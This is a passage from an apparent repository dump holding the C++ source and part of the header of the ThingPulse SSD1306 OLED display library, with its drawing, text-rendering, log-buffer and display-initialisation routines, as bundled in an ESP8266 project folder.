x);\n      setPixel(x0 - x, y0 + y);\n    }\n    if (quads & 0x8) {\n      setPixel(x0 + x, y0 + y);\n      setPixel(x0 + y, y0 + x);\n    }\n  }\n  if (quads & 0x1 && quads & 0x8) {\n    setPixel(x0 + radius, y0);\n  }\n  if (quads & 0x4 && quads & 0x8) {\n    setPixel(x0, y0 + radius);\n  }\n  if (quads & 0x2 && quads & 0x4) {\n    setPixel(x0 - radius, y0);\n  }\n  if (quads & 0x1 && quads & 0x2) {\n    setPixel(x0, y0 - radius);\n  }\n}\n\n\nvoid OLEDDisplay::fillCircle(int16_t x0, int16_t y0, int16_t radius) {\n  int16_t x = 0, y = radius;\n\tint16_t dp = 1 - radius;\n\tdo {\n\t\tif (dp < 0)\n      dp = dp + (x++) * 2 + 3;\n    else\n      dp = dp + (x++) * 2 - (y--) * 2 + 5;\n\n    drawHorizontalLine(x0 - x, y0 - y, 2*x);\n    drawHorizontalLine(x0 - x, y0 + y, 2*x);\n    drawHorizontalLine(x0 - y, y0 - x, 2*y);\n    drawHorizontalLine(x0 - y, y0 + x, 2*y);\n\n\n\t} while (x < y);\n  drawHorizontalLine(x0 - radius, y0, 2 * radius);\n\n}\n\nvoid OLEDDisplay::drawHorizontalLine(int16_t x, int16_t y, int16_t length) {\n  if (y < 0 || y >= this->height()) { return; }\n\n  if (x < 0) {\n    length += x;\n    x = 0;\n  }\n\n  if ( (x + length) > this->width()) {\n    length = (this->width() - x);\n  }\n\n  if (length <= 0) { return; }\n\n  uint8_t * bufferPtr = buffer;\n  bufferPtr += (y >> 3) * this->width();\n  bufferPtr += x;\n\n  uint8_t drawBit = 1 << (y & 7);\n\n  switch (color) {\n    case WHITE:   while (length--) {\n        *bufferPtr++ |= drawBit;\n      }; break;\n    case BLACK:   drawBit = ~drawBit;   while (length--) {\n        *bufferPtr++ &= drawBit;\n      }; break;\n    case INVERSE: while (length--) {\n        *bufferPtr++ ^= drawBit;\n      }; break;\n  }\n}\n\nvoid OLEDDisplay::drawVerticalLine(int16_t x, int16_t y, int16_t length) {\n  if (x < 0 || x >= this->width()) return;\n\n  if (y < 0) {\n    length += y;\n    y = 0;\n  }\n\n  if ( (y + length) > this->height()) {\n    length = (this->height() - y);\n  }\n\n  if (length <= 0) return;\n\n\n  uint8_t yOffset = y & 7;\n  uint8_t drawBit;\n  uint8_t *bufferPtr = buffer;\n\n  bufferPtr += (y >> 3) * this->width();\n  bufferPtr += x;\n\n  if (yOffset) {\n    yOffset = 8 - yOffset;\n    drawBit = ~(0xFF >> (yOffset));\n\n    if (length < yOffset) {\n      drawBit &= (0xFF >> (yOffset - length));\n    }\n\n    switch (color) {\n      case WHITE:   *bufferPtr |=  drawBit; break;\n      case BLACK:   *bufferPtr &= ~drawBit; break;\n      case INVERSE: *bufferPtr ^=  drawBit; break;\n    }\n\n    if (length < yOffset) return;\n\n    length -= yOffset;\n    bufferPtr += this->width();\n  }\n\n  if (length >= 8) {\n    switch (color) {\n      case WHITE:\n      case BLACK:\n        drawBit = (color == WHITE) ? 0xFF : 0x00;\n        do {\n          *bufferPtr = drawBit;\n          bufferPtr += this->width();\n          length -= 8;\n        } while (length >= 8);\n        break;\n      case INVERSE:\n        do {\n          *bufferPtr = ~(*bufferPtr);\n          bufferPtr += this->width();\n          length -= 8;\n        } while (length >= 8);\n        break;\n    }\n  }\n\n  if (length > 0) {\n    drawBit = (1 << (length & 7)) - 1;\n    switch (color) {\n      case WHITE:   *bufferPtr |=  drawBit; break;\n      case BLACK:   *bufferPtr &= ~drawBit; break;\n      case INVERSE: *bufferPtr ^=  drawBit; break;\n    }\n  }\n}\n\nvoid OLEDDisplay::drawProgressBar(uint16_t x, uint16_t y, uint16_t width, uint16_t height, uint8_t progress) {\n  uint16_t radius = height / 2;\n  uint16_t xRadius = x + radius;\n  uint16_t yRadius = y + radius;\n  uint16_t doubleRadius = 2 * radius;\n  uint16_t innerRadius = radius - 2;\n\n  setColor(WHITE);\n  drawCircleQuads(xRadius, yRadius, radius, 0b00000110);\n  drawHorizontalLine(xRadius, y, width - doubleRadius + 1);\n  drawHorizontalLine(xRadius, y + height, width - doubleRadius + 1);\n  drawCircleQuads(x + width - radius, yRadius, radius, 0b00001001);\n\n  uint16_t maxProgressWidth = (width - doubleRadius + 1) * progress / 100;\n\n  fillCircle(xRadius, yRadius, innerRadius);\n  fillRect(xRadius + 1, y + 2, maxProgressWidth, height - 3);\n  fillCircle(xRadius + maxProgressWidth, yRadius, innerRadius);\n}\n\nvoid OLEDDisplay::drawFastImage(int16_t xMove, int16_t yMove, int16_t width, int16_t height, const uint8_t *image) {\n  drawInternal(xMove, yMove, width, height, image, 0, 0);\n}\n\nvoid OLEDDisplay::drawXbm(int16_t xMove, int16_t yMove, int16_t width, int16_t height, const uint8_t *xbm) {\n  int16_t widthInXbm = (width + 7) / 8;\n  uint8_t data = 0;\n\n  for(int16_t y = 0; y < height; y++) {\n    for(int16_t x = 0; x < width; x++ ) {\n      if (x & 7) {\n        data >>= 1; // Move a bit\n      } else {  // Read new data every 8 bit\n        data = pgm_read_byte(xbm + (x / 8) + y * widthInXbm);\n      }\n      // if there is a bit draw it\n      if (data & 0x01) {\n        setPixel(xMove + x, yMove + y);\n      }\n    }\n  }\n}\n\nvoid OLEDDisplay::drawIco16x16(int16_t xMove, int16_t yMove, const char *ico, bool inverse) {\n  uint16_t data;\n\n  for(int16_t y = 0; y < 16; y++) {\n    data = pgm_read_byte(ico + (y << 1)) + (pgm_read_byte(ico + (y << 1) + 1) << 8);\n    for(int16_t x = 0; x < 16; x++ ) {\n      if ((data & 0x01) ^ inverse) {\n        setPixelColor(xMove + x, yMove + y, WHITE);\n      } else {\n        setPixelColor(xMove + x, yMove + y, BLACK);\n      }\n      data >>= 1; // Move a bit\n    }\n  }\n}\n\nvoid OLEDDisplay::drawStringInternal(int16_t xMove, int16_t yMove, char* text, uint16_t textLength, uint16_t textWidth) {\n  uint8_t textHeight       = pgm_read_byte(fontData + HEIGHT_POS);\n  uint8_t firstChar        = pgm_read_byte(fontData + FIRST_CHAR_POS);\n  uint16_t sizeOfJumpTable = pgm_read_byte(fontData + CHAR_NUM_POS)  * JUMPTABLE_BYTES;\n\n  uint16_t cursorX         = 0;\n  uint16_t cursorY         = 0;\n\n  switch (textAlignment) {\n    case TEXT_ALIGN_CENTER_BOTH:\n      yMove -= textHeight >> 1;\n    // Fallthrough\n    case TEXT_ALIGN_CENTER:\n      xMove -= textWidth >> 1; // divide by 2\n      break;\n    case TEXT_ALIGN_RIGHT:\n      xMove -= textWidth;\n      break;\n    case TEXT_ALIGN_LEFT:\n      break;\n  }\n\n  // Don't draw anything if it is not on the screen.\n  if (xMove + textWidth  < 0 || xMove > this->width() ) {return;}\n  if (yMove + textHeight < 0 || yMove > this->width() ) {return;}\n\n  for (uint16_t j = 0; j < textLength; j++) {\n    int16_t xPos = xMove + cursorX;\n    int16_t yPos = yMove + cursorY;\n\n    uint8_t code = text[j];\n    if (code >= firstChar) {\n      uint8_t charCode = code - firstChar;\n\n      // 4 Bytes per char code\n      uint8_t msbJumpToChar    = pgm_read_byte( fontData + JUMPTABLE_START + charCode * JUMPTABLE_BYTES );                  // MSB  \\ JumpAddress\n      uint8_t lsbJumpToChar    = pgm_read_byte( fontData + JUMPTABLE_START + charCode * JUMPTABLE_BYTES + JUMPTABLE_LSB);   // LSB /\n      uint8_t charByteSize     = pgm_read_byte( fontData + JUMPTABLE_START + charCode * JUMPTABLE_BYTES + JUMPTABLE_SIZE);  // Size\n      uint8_t currentCharWidth = pgm_read_byte( fontData + JUMPTABLE_START + charCode * JUMPTABLE_BYTES + JUMPTABLE_WIDTH); // Width\n\n      // Test if the char is drawable\n      if (!(msbJumpToChar == 255 && lsbJumpToChar == 255)) {\n        // Get the position of the char data\n        uint16_t charDataPosition = JUMPTABLE_START + sizeOfJumpTable + ((msbJumpToChar << 8) + lsbJumpToChar);\n        drawInternal(xPos, yPos, currentCharWidth, textHeight, fontData, charDataPosition, charByteSize);\n      }\n\n      cursorX += currentCharWidth;\n    }\n  }\n}\n\n\nvoid OLEDDisplay::drawString(int16_t xMove, int16_t yMove, String strUser) {\n  uint16_t lineHeight = pgm_read_byte(fontData + HEIGHT_POS);\n\n  // char* text must be freed!\n  char* text = utf8ascii(strUser);\n\n  uint16_t yOffset = 0;\n  // If the string should be centered vertically too\n  // we need to now how heigh the string is.\n  if (textAlignment == TEXT_ALIGN_CENTER_BOTH) {\n    uint16_t lb = 0;\n    // Find number of linebreaks in text\n    for (uint16_t i=0;text[i] != 0; i++) {\n      lb += (text[i] == 10);\n    }\n    // Calculate center\n    yOffset = (lb * lineHeight) / 2;\n  }\n\n  uint16_t line = 0;\n  char* textPart = strtok(text,\"\\n\");\n  while (textPart != NULL) {\n    uint16_t length = strlen(textPart);\n    drawStringInternal(xMove, yMove - yOffset + (line++) * lineHeight, textPart, length, getStringWidth(textPart, length));\n    textPart = strtok(NULL, \"\\n\");\n  }\n  free(text);\n}\n\nvoid OLEDDisplay::drawStringMaxWidth(int16_t xMove, int16_t yMove, uint16_t maxLineWidth, String strUser) {\n  uint16_t firstChar  = pgm_read_byte(fontData + FIRST_CHAR_POS);\n  uint16_t lineHeight = pgm_read_byte(fontData + HEIGHT_POS);\n\n  char* text = utf8ascii(strUser);\n\n  uint16_t length = strlen(text);\n  uint16_t lastDrawnPos = 0;\n  uint16_t lineNumber = 0;\n  uint16_t strWidth = 0;\n\n  uint16_t preferredBreakpoint = 0;\n  uint16_t widthAtBreakpoint = 0;\n\n  for (uint16_t i = 0; i < length; i++) {\n    strWidth += pgm_read_byte(fontData + JUMPTABLE_START + (text[i] - firstChar) * JUMPTABLE_BYTES + JUMPTABLE_WIDTH);\n\n    // Always try to break on a space or dash\n    if (text[i] == ' ' || text[i]== '-') {\n      preferredBreakpoint = i;\n      widthAtBreakpoint = strWidth;\n    }\n\n    if (strWidth >= maxLineWidth) {\n      if (preferredBreakpoint == 0) {\n        preferredBreakpoint = i;\n        widthAtBreakpoint = strWidth;\n      }\n      drawStringInternal(xMove, yMove + (lineNumber++) * lineHeight , &text[lastDrawnPos], preferredBreakpoint - lastDrawnPos, widthAtBreakpoint);\n      lastDrawnPos = preferredBreakpoint + 1;\n      // It is possible that we did not draw all letters to i so we need\n      // to account for the width of the chars from `i - preferredBreakpoint`\n      // by calculating the width we did not draw yet.\n      strWidth = strWidth - widthAtBreakpoint;\n      preferredBreakpoint = 0;\n    }\n  }\n\n  // Draw last part if needed\n  if (lastDrawnPos < length) {\n    drawStringInternal(xMove, yMove + lineNumber * lineHeight , &text[lastDrawnPos], length - lastDrawnPos, getStringWidth(&text[lastDrawnPos], length - lastDrawnPos));\n  }\n\n  free(text);\n}\n\nuint16_t OLEDDisplay::getStringWidth(const char* text, uint16_t length) {\n  uint16_t firstChar        = pgm_read_byte(fontData + FIRST_CHAR_POS);\n\n  uint16_t stringWidth = 0;\n  uint16_t maxWidth = 0;\n\n  while (length--) {\n    stringWidth += pgm_read_byte(fontData + JUMPTABLE_START + (text[length] - firstChar) * JUMPTABLE_BYTES + JUMPTABLE_WIDTH);\n    if (text[length] == 10) {\n      maxWidth = max(maxWidth, stringWidth);\n      stringWidth = 0;\n    }\n  }\n\n  return max(maxWidth, stringWidth);\n}\n\nuint16_t OLEDDisplay::getStringWidth(String strUser) {\n  char* text = utf8ascii(strUser);\n  uint16_t length = strlen(text);\n  uint16_t width = getStringWidth(text, length);\n  free(text);\n  return width;\n}\n\nvoid OLEDDisplay::setTextAlignment(OLEDDISPLAY_TEXT_ALIGNMENT textAlignment) {\n  this->textAlignment = textAlignment;\n}\n\nvoid OLEDDisplay::setFont(const uint8_t *fontData) {\n  this->fontData = fontData;\n}\n\nvoid OLEDDisplay::displayOn(void) {\n  sendCommand(DISPLAYON);\n}\n\nvoid OLEDDisplay::displayOff(void) {\n  sendCommand(DISPLAYOFF);\n}\n\nvoid OLEDDisplay::invertDisplay(void) {\n  sendCommand(INVERTDISPLAY);\n}\n\nvoid OLEDDisplay::normalDisplay(void) {\n  sendCommand(NORMALDISPLAY);\n}\n\nvoid OLEDDisplay::setContrast(uint8_t contrast, uint8_t precharge, uint8_t comdetect) {\n  sendCommand(SETPRECHARGE); //0xD9\n  sendCommand(precharge); //0xF1 default, to lower the contrast, put 1-1F\n  sendCommand(SETCONTRAST);\n  sendCommand(contrast); // 0-255\n  sendCommand(SETVCOMDETECT); //0xDB, (additionally needed to lower the contrast)\n  sendCommand(comdetect);\t//0x40 default, to lower the contrast, put 0\n  sendCommand(DISPLAYALLON_RESUME);\n  sendCommand(NORMALDISPLAY);\n  sendCommand(DISPLAYON);\n}\n\nvoid OLEDDisplay::setBrightness(uint8_t brightness) {\n  uint8_t contrast = brightness;\n  if (brightness < 128) {\n    // Magic values to get a smooth/ step-free transition\n    contrast = brightness * 1.171;\n  } else {\n    contrast = brightness * 1.171 - 43;\n  }\n\n  uint8_t precharge = 241;\n  if (brightness == 0) {\n    precharge = 0;\n  }\n  uint8_t comdetect = brightness / 8;\n\n  setContrast(contrast, precharge, comdetect);\n}\n\nvoid OLEDDisplay::resetOrientation() {\n  sendCommand(SEGREMAP);\n  sendCommand(COMSCANINC);           //Reset screen rotation or mirroring\n}\n\nvoid OLEDDisplay::flipScreenVertically() {\n  sendCommand(SEGREMAP | 0x01);\n  sendCommand(COMSCANDEC);           //Rotate screen 180 Deg\n}\n\nvoid OLEDDisplay::mirrorScreen() {\n  sendCommand(SEGREMAP);\n  sendCommand(COMSCANDEC);           //Mirror screen\n}\n\nvoid OLEDDisplay::clear(void) {\n  memset(buffer, 0, displayBufferSize);\n}\n\nvoid OLEDDisplay::drawLogBuffer(uint16_t xMove, uint16_t yMove) {\n  uint16_t lineHeight = pgm_read_byte(fontData + HEIGHT_POS);\n  // Always align left\n  setTextAlignment(TEXT_ALIGN_LEFT);\n\n  // State values\n  uint16_t length   = 0;\n  uint16_t line     = 0;\n  uint16_t lastPos  = 0;\n\n  for (uint16_t i=0;i<this->logBufferFilled;i++){\n    // Everytime we have a \\n print\n    if (this->logBuffer[i] == 10) {\n      length++;\n      // Draw string on line `line` from lastPos to length\n      // Passing 0 as the lenght because we are in TEXT_ALIGN_LEFT\n      drawStringInternal(xMove, yMove + (line++) * lineHeight, &this->logBuffer[lastPos], length, 0);\n      // Remember last pos\n      lastPos = i;\n      // Reset length\n      length = 0;\n    } else {\n      // Count chars until next linebreak\n      length++;\n    }\n  }\n  // Draw the remaining string\n  if (length > 0) {\n    drawStringInternal(xMove, yMove + line * lineHeight, &this->logBuffer[lastPos], length, 0);\n  }\n}\n\nuint16_t OLEDDisplay::getWidth(void) {\n  return displayWidth;\n}\n\nuint16_t OLEDDisplay::getHeight(void) {\n  return displayHeight;\n}\n\nbool OLEDDisplay::setLogBuffer(uint16_t lines, uint16_t chars){\n  if (logBuffer != NULL) free(logBuffer);\n  uint16_t size = lines * chars;\n  if (size > 0) {\n    this->logBufferLine     = 0;      // Lines printed\n    this->logBufferFilled   = 0;      // Nothing stored yet\n    this->logBufferMaxLines = lines;  // Lines max printable\n    this->logBufferSize     = size;   // Total number of characters the buffer can hold\n    this->logBuffer         = (char *) malloc(size * sizeof(uint8_t));\n    if(!this->logBuffer) {\n      DEBUG_OLEDDISPLAY(\"[OLEDDISPLAY][setLogBuffer] Not enough memory to create log buffer\\n\");\n      return false;\n    }\n  }\n  return true;\n}\n\nsize_t OLEDDisplay::write(uint8_t c) {\n  if (this->logBufferSize > 0) {\n    // Don't waste space on \\r\\n line endings, dropping \\r\n    if (c == 13) return 1;\n\n    // convert UTF-8 character to font table index\n    c = (this->fontTableLookupFunction)(c);\n    // drop unknown character\n    if (c == 0) return 1;\n\n    bool maxLineNotReached = this->logBufferLine < this->logBufferMaxLines;\n    bool bufferNotFull = this->logBufferFilled < this->logBufferSize;\n\n    // Can we write to the buffer?\n    if (bufferNotFull && maxLineNotReached) {\n      this->logBuffer[logBufferFilled] = c;\n      this->logBufferFilled++;\n      // Keep track of lines written\n      if (c == 10) this->logBufferLine++;\n    } else {\n      // Max line number is reached\n      if (!maxLineNotReached) this->logBufferLine--;\n\n      // Find the end of the first line\n      uint16_t firstLineEnd = 0;\n      for (uint16_t i=0;i<this->logBufferFilled;i++) {\n        if (this->logBuffer[i] == 10){\n          // Include last char too\n          firstLineEnd = i + 1;\n          break;\n        }\n      }\n      // If there was a line ending\n      if (firstLineEnd > 0) {\n        // Calculate the new logBufferFilled value\n        this->logBufferFilled = logBufferFilled - firstLineEnd;\n        // Now we move the lines infront of the buffer\n        memcpy(this->logBuffer, &this->logBuffer[firstLineEnd], logBufferFilled);\n      } else {\n        // Let's reuse the buffer if it was full\n        if (!bufferNotFull) {\n          this->logBufferFilled = 0;\n        }// else {\n        //  Nothing to do here\n        //}\n      }\n      write(c);\n    }\n  }\n  // We are always writing all uint8_t to the buffer\n  return 1;\n}\n\nsize_t OLEDDisplay::write(const char* str) {\n  if (str == NULL) return 0;\n  size_t length = strlen(str);\n  for (size_t i = 0; i < length; i++) {\n    write(str[i]);\n  }\n  return length;\n}\n\n#ifdef __MBED__\nint OLEDDisplay::_putc(int c) {\n\n\tif (!fontData)\n\t\treturn 1;\n\tif (!logBufferSize) {\n\t\tuint8_t textHeight = pgm_read_byte(fontData + HEIGHT_POS);\n\t\tuint16_t lines =  this->displayHeight / textHeight;\n\t\tuint16_t chars =   2 * (this->displayWidth / textHeight);\n\t\t\n\t\tif (this->displayHeight % textHeight)\n\t\t\tlines++;\n\t\tif (this->displayWidth % textHeight)\n\t\t\tchars++;\n\t\tsetLogBuffer(lines, chars);\n\t}\n\n\treturn this->write((uint8_t)c);\n}\n#endif\n\n// Private functions\nvoid OLEDDisplay::setGeometry(OLEDDISPLAY_GEOMETRY g, uint16_t width, uint16_t height) {\n  this->geometry = g;\n  switch (g) {\n  \tcase GEOMETRY_128_64:\n    \tthis->displayWidth = 128;\n    \tthis->displayHeight = 64;\n\t\tbreak;\n\tcase GEOMETRY_128_32:\n    \tthis->displayWidth = 128;\n    \tthis->displayHeight = 32;\n\t\tbreak;\n\tcase GEOMETRY_RAWMODE:\n\t\tthis->displayWidth = width > 0 ? width : 128;\n\t\tthis->displayHeight = height > 0 ? height : 64;\n\t\tbreak;\n  }\n  this->displayBufferSize = displayWidth * displayHeight /8;\n}\n\nvoid OLEDDisplay::sendInitCommands(void) {\n  if (geometry == GEOMETRY_RAWMODE)\n  \treturn;\n  sendCommand(DISPLAYOFF);\n  sendCommand(SETDISPLAYCLOCKDIV);\n  sendCommand(0xF0); // Increase speed of the display max ~96Hz\n  sendCommand(SETMULTIPLEX);\n  sendCommand(this->height() - 1);\n  sendCommand(SETDISPLAYOFFSET);\n  sendCommand(0x00);\n  sendCommand(SETSTARTLINE);\n  sendCommand(CHARGEPUMP);\n  sendCommand(0x14);\n  sendCommand(MEMORYMODE);\n  sendCommand(0x00);\n  sendCommand(SEGREMAP);\n  sendCommand(COMSCANINC);\n  sendCommand(SETCOMPINS);\n\n  if (geometry == GEOMETRY_128_64) {\n    sendCommand(0x12);\n  } else if (geometry == GEOMETRY_128_32) {\n    sendCommand(0x02);\n  }\n\n  sendCommand(SETCONTRAST);\n\n  if (geometry == GEOMETRY_128_64) {\n    sendCommand(0xCF);\n  } else if (geometry == GEOMETRY_128_32) {\n    sendCommand(0x8F);\n  }\n\n  sendCommand(SETPRECHARGE);\n  sendCommand(0xF1);\n  sendCommand(SETVCOMDETECT); //0xDB, (additionally needed to lower the contrast)\n  sendCommand(0x40);\t        //0x40 default, to lower the contrast, put 0\n  sendCommand(DISPLAYALLON_RESUME);\n  sendCommand(NORMALDISPLAY);\n  sendCommand(0x2e);            // stop scroll\n  sendCommand(DISPLAYON);\n}\n\nvoid inline OLEDDisplay::drawInternal(int16_t xMove, int16_t yMove, int16_t width, int16_t height, const uint8_t *data, uint16_t offset, uint16_t bytesInData) {\n  if (width < 0 || height < 0) return;\n  if (yMove + height < 0 || yMove > this->height())  return;\n  if (xMove + width  < 0 || xMove > this->width())   return;\n\n  uint8_t  rasterHeight = 1 + ((height - 1) >> 3); // fast ceil(height / 8.0)\n  int8_t   yOffset      = yMove & 7;\n\n  bytesInData = bytesInData == 0 ? width * rasterHeight : bytesInData;\n\n  int16_t initYMove   = yMove;\n  int8_t  initYOffset = yOffset;\n\n\n  for (uint16_t i = 0; i < bytesInData; i++) {\n\n    // Reset if next horizontal drawing phase is started.\n    if ( i % rasterHeight == 0) {\n      yMove   = initYMove;\n      yOffset = initYOffset;\n    }\n\n    uint8_t currentByte = pgm_read_byte(data + offset + i);\n\n    int16_t xPos = xMove + (i / rasterHeight);\n    int16_t yPos = ((yMove >> 3) + (i % rasterHeight)) * this->width();\n\n//    int16_t yScreenPos = yMove + yOffset;\n    int16_t dataPos    = xPos  + yPos;\n\n    if (dataPos >=  0  && dataPos < displayBufferSize &&\n        xPos    >=  0  && xPos    < this->width() ) {\n\n      if (yOffset >= 0) {\n        switch (this->color) {\n          case WHITE:   buffer[dataPos] |= currentByte << yOffset; break;\n          case BLACK:   buffer[dataPos] &= ~(currentByte << yOffset); break;\n          case INVERSE: buffer[dataPos] ^= currentByte << yOffset; break;\n        }\n\n        if (dataPos < (displayBufferSize - this->width())) {\n          switch (this->color) {\n            case WHITE:   buffer[dataPos + this->width()] |= currentByte >> (8 - yOffset); break;\n            case BLACK:   buffer[dataPos + this->width()] &= ~(currentByte >> (8 - yOffset)); break;\n            case INVERSE: buffer[dataPos + this->width()] ^= currentByte >> (8 - yOffset); break;\n          }\n        }\n      } else {\n        // Make new offset position\n        yOffset = -yOffset;\n\n        switch (this->color) {\n          case WHITE:   buffer[dataPos] |= currentByte >> yOffset; break;\n          case BLACK:   buffer[dataPos] &= ~(currentByte >> yOffset); break;\n          case INVERSE: buffer[dataPos] ^= currentByte >> yOffset; break;\n        }\n\n        // Prepare for next iteration by moving one block up\n        yMove -= 8;\n\n        // and setting the new yOffset\n        yOffset = 8 - yOffset;\n      }\n#ifndef __MBED__\n      yield();\n#endif\n    }\n  }\n}\n\n// You need to free the char!\nchar* OLEDDisplay::utf8ascii(String str) {\n  uint16_t k = 0;\n  uint16_t length = str.length() + 1;\n\n  // Copy the string into a char array\n  char* s = (char*) malloc(length * sizeof(char));\n  if(!s) {\n    DEBUG_OLEDDISPLAY(\"[OLEDDISPLAY][utf8ascii] Can't allocate another char array. Drop support for UTF-8.\\n\");\n    return (char*) str.c_str();\n  }\n  str.toCharArray(s, length);\n\n  length--;\n\n  for (uint16_t i=0; i < length; i++) {\n    char c = (this->fontTableLookupFunction)(s[i]);\n    if (c!=0) {\n      s[k++]=c;\n    }\n  }\n\n  s[k]=0;\n\n  // This will leak 's' be sure to free it in the calling function.\n  return s;\n}\n\nvoid OLEDDisplay::setFontTableLookupFunction(FontTableLookupFunction function) {\n  this->fontTableLookupFunction = function;\n}\n\n\nchar DefaultFontTableLookup(const uint8_t ch) {\n    // UTF-8 to font table index converter\n    // Code form http://playground.arduino.cc/Main/Utf8ascii\n\tstatic uint8_t LASTCHAR;\n\n\tif (ch < 128) { // Standard ASCII-set 0..0x7F handling\n\t\tLASTCHAR = 0;\n\t\treturn ch;\n\t}\n\n\tuint8_t last = LASTCHAR;   // get last char\n\tLASTCHAR = ch;\n\n\tswitch (last) {    // conversion depnding on first UTF8-character\n\t\tcase 0xC2: return (uint8_t) ch;\n\t\tcase 0xC3: return (uint8_t) (ch | 0xC0);\n\t\tcase 0x82: if (ch == 0xAC) return (uint8_t) 0x80;    // special case Euro-symbol\n\t}\n\n\treturn (uint8_t) 0; // otherwise: return zero, if character has to be ignored\n}\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplay.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n * Copyright (c) 2019 by Helmut Tschemernjak - www.radioshuttle.de\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef OLEDDISPLAY_h\n#define OLEDDISPLAY_h\n\n#ifdef ARDUINO\n#include <Arduino.h>\n#elif __MBED__\n#define pgm_read_byte(addr)   (*(const unsigned char *)(addr))\n\n#include <mbed.h>\n#define delay(x)\twait_ms(x)\n#define yield()\t\tvoid()\n\n/*\n * This is a little Arduino String emulation to keep the OLEDDisplay\n * library code in common between Arduino and mbed-os\n */\nclass String {\npublic:\n\tString(const char *s) { _str = s; };\n\tint length() { return strlen(_str); };\n\tconst char *c_str() { return _str; };\n    void toCharArray(char *buf, unsigned int bufsize, unsigned int index = 0) const {\n\t\tmemcpy(buf, _str + index,  std::min(bufsize, strlen(_str)));\n\t};\nprivate:\n\tconst char *_str;\n};\n\n#else\n#error \"Unkown operating system\"\n#endif\n\n#include \"OLEDDisplayFonts.h\"\n\n//#define DEBUG_OLEDDISPLAY(...) Serial.printf( __VA_ARGS__ )\n//#define DEBUG_OLEDDISPLAY(...) dprintf(\"%s\",  __VA_ARGS__ )\n\n#ifndef DEBUG_OLEDDISPLAY\n#define DEBUG_OLEDDISPLAY(...)\n#endif\n\n// Use DOUBLE BUFFERING by default\n#ifndef OLEDDISPLAY_REDUCE_MEMORY\n#define OLEDDISPLAY_DOUBLE_BUFFER\n#endif\n\n// Header Values\n#define JUMPTABLE_BYTES 4\n\n#define JUMPTABLE_LSB   1\n#define JUMPTABLE_SIZE  2\n#define JUMPTABLE_WIDTH 3\n#define JUMPTABLE_START 4\n\n#define WIDTH_POS 0\n#define HEIGHT_POS 1\n#define FIRST_CHAR_POS 2\n#define CHAR_NUM_POS 3\n\n\n// Display commands\n#define CHARGEPUMP 0x8D\n#define COLUMNADDR 0x21\n#define COMSCANDEC 0xC8\n#define COMSCANINC 0xC0\n#define DISPLAYALLON 0xA5\n#define DISPLAYALLON_RESUME 0xA4\n#define DISPLAYOFF 0xAE\n#define DISPLAYON 0xAF\n#define EXTERNALVCC 0x1\n#define INVERTDISPLAY 0xA7\n#define MEMORYMODE 0x20\n#define NORMALDISPLAY 0xA6\n#define PAGEADDR 0x22\n#define SEGREMAP 0xA0\n#define SETCOMPINS 0xDA\n#define SETCONTRAST 0x81\n#define SETDISPLAYCLOCKDIV 0xD5\n#define SETDISPLAYOFFSET 0xD3\n#define SETHIGHCOLUMN 0x10\n#define SETLOWCOLUMN 0x00\n#define SETMULTIPLEX 0xA8\n#define SETPRECHARGE 0xD9\n#define SETSEGMENTREMAP 0xA1\n#define SETSTARTLINE 0x40\n#define SETVCOMDETECT 0xDB\n#define SWITCHCAPVCC 0x2\n\n#ifndef _swap_int16_t\n#define _swap_int16_t(a, b) { int16_t t = a; a = b; b = t; }\n#endif\n\nenum OLEDDISPLAY_COLOR {\n  BLACK = 0,\n  WHITE = 1,\n  INVERSE = 2\n};\n\nenum OLEDDISPLAY_TEXT_ALIGNMENT {\n  TEXT_ALIGN_LEFT = 0,\n  TEXT_ALIGN_RIGHT = 1,\n  TEXT_ALIGN_CENTER = 2,\n  TEXT_ALIGN_CENTER_BOTH = 3\n};\n\n\nenum OLEDDISPLAY_GEOMETRY {\n  GEOMETRY_128_64   = 0,\n  GEOMETRY_128_32,\n  GEOMETRY_RAWMODE,\n};\n\ntypedef char (*FontTableLookupFunction)(const uint8_t ch);\nchar DefaultFontTableLookup(const uint8_t ch);\n\n\n#ifdef ARDUINO\nclass OLEDDisplay : public Print  {\n#elif __MBED__\nclass OLEDDisplay : public Stream {\n#else\n#error \"Unkown operating system\"\n#endif\n\n  public:\n\tOLEDDisplay();\n    virtual ~OLEDDisplay();\n\n\tuint16_t width(void) const { return displayWidth; };\n\tuint16_t height(void) const { return displayHeight; };\n\n    // Use this to resume after a deep sleep without resetting the display (what init() would do).\n    // Returns true if connection to the display was established and the buffer allocated, false otherwise.\n    bool allocateBuffer();\n\n    // Allocates the buffer and initializes the driver & display. Resets the display!\n    // Returns false if buffer allocation failed, true otherwise.\n    bool init();\n\n    // Free the memory used by the display\n    void end();\n\n    // Cycle through the initialization\n    void resetDisplay(void);\n\n    /* Drawing functions */\n    // Sets the color of all pixel operations\n    void setColor(OLEDDISPLAY_COLOR color);\n\n    // Returns the current color.\n    OLEDDISPLAY_COLOR getColor();\n\n    // Draw a pixel at given position\n    void setPixel(int16_t x, int16_t y);\n\n    // Draw a pixel at given position and color\n    void setPixelColor(int16_t x, int16_t y, OLEDDISPLAY_COLOR color);\n\n    // Clear a pixel at given position FIXME: INVERSE is untested with this function\n    void clearPixel(int16_t x, int16_t y);\n\n    // Draw a line from position 0 to 